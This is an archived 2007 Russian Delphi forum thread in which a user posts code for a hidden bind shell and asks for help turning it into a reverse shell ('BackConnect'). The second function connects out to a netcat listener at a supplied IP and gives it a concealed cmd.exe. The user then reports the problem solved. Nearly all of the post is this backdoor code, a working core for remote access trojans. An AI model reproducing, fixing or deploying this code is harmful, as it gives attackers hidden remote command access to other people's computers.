Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Сети";
Текущий архив: 2007.10.07;
Скачать: [xml.tar.bz2];

Вниз

BackConnect на Delphi помогите плз.....   Найти похожие ветки 

 
22b   (2007-02-10 19:29) [0]

Добрый день....
столкнулся я со следуюющей проблемой реализовал вывод cmd в порт локальный...вот ф-я:
[CODE]
unction SetShell(port:integer):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrIn: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_port := htons(port);
 bind(FSocket, SockAddrIn, 16);
 listen(FSocket, 0);
 while true do
   begin
     sHandle := accept(FSocket, nil, 0);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
   end;
end;
[/CODE]
А вот сейчас задумал реализовать BackConnect на открытый на прослушку порт нетката и ничего не могу поделать.... не работает и все
вот что получилось у меня в коде...

[CODE]
function SetShell(port:integer;ip:string):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrOut: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrOut.sin_family := AF_INET;
 SockAddrOut.sin_port := htons(port);
 SockAddrOut.sin_addr:=LookupName(ip);
 connect(FSocket, SockAddrOut, sizeof(SockAddrOut));
 ShowMessage(inttostr(sHandle));
 //listen(FSocket, 0);

     //sHandle := accept(FSocket, nil, size);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
end;
[/CODE]

Заранеее спасибо за ответ...


 
22b   (2007-02-10 19:34) [1]

не актуально проблема решена!!!!!!!



Страницы: 1 вся ветка

Форум: "Сети";
Текущий архив: 2007.10.07;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.45 MB
Время: 0.041 c
15-1189253128
OzoM
2007-09-08 16:05
2007.10.07
Срочно!!!


1-1185344333
NKT
2007-07-25 10:18
2007.10.07
Многодокументальное прило жение . Создание новой нестан. формы


2-1189453972
aids
2007-09-10 23:52
2007.10.07
TSitringList


15-1189441582
me
2007-09-10 20:26
2007.10.07
"Введение в Гудразработку и анализ алгоритмов"


6-1170949405
AllDontFire
2007-02-08 18:43
2007.10.07
Как реализовать 3х уровневое приложение?





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский